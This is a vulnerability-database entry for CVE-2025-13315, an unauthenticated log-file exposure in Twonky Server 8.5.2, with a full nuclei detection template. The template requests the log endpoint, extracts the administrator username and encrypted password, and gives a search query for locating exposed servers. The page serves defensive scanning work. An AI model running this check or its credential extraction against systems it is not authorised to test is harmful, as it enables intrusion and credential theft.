HexBrain

Browse / CVEs / CVE-2025-13315

CVE-2025-13315

Twonky Server 8.5.2 on Linux and Windows - Log File Exposure

criticalseverity
31.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication

Impact

Unauthenticated attackers can read sensitive log files containing administrator usernames and encrypted passwords.

Fix

Restrict access to the Twonky Server web service API or implement network segmentation as the vendor has not released a fix.

How to confirm it

Send: GET {{BaseURL}}/nmc/rpc/log_getfile
Positive when: status_code == 200 and contains_all(body,"server_main_impl","LOG_SYSTEM:","upnp_ini_file")

Run it with nuclei: nuclei -id CVE-2025-13315 -u <target>

The full check
id: CVE-2025-13315

info:
  name: Twonky Server 8.5.2 on Linux and Windows - Log File Exposure
  author: pussycat0x
  severity: critical
  description: |
    Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication
  remediation: |
    Restrict access to the Twonky Server web service API or implement network segmentation as the vendor has not released a fix.
  impact: |
    Unauthenticated attackers can read sensitive log files containing administrator usernames and encrypted passwords.
  reference:
    - https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/
  metadata:
    verified: true
    zoomeye-query: app="Twonky Server"
  tags: cve,cve2025,twonky,server,exposure,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nmc/rpc/log_getfile"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body,"server_main_impl","LOG_SYSTEM:","upnp_ini_file")'
        condition: and

    extractors:
      - type: regex
        name: username
        group: 1
        part: body
        regex:
          - 'accessuser =([ a-zA-Z0-9]+)'
        internal: true

      - type: regex
        name: password
        part: body
        group: 1
        regex:
          - 'accesspwd =([ :a-zA-Z0-9]+)'
        internal: true

      - type: dsl
        dsl:
          - '"Username :"+  trim(username, "[ ]")'
          - '"EncryptedPassword :"+ trim(password, "[ ]")'

References

Use this check only on systems you are authorised to test. Where the data comes from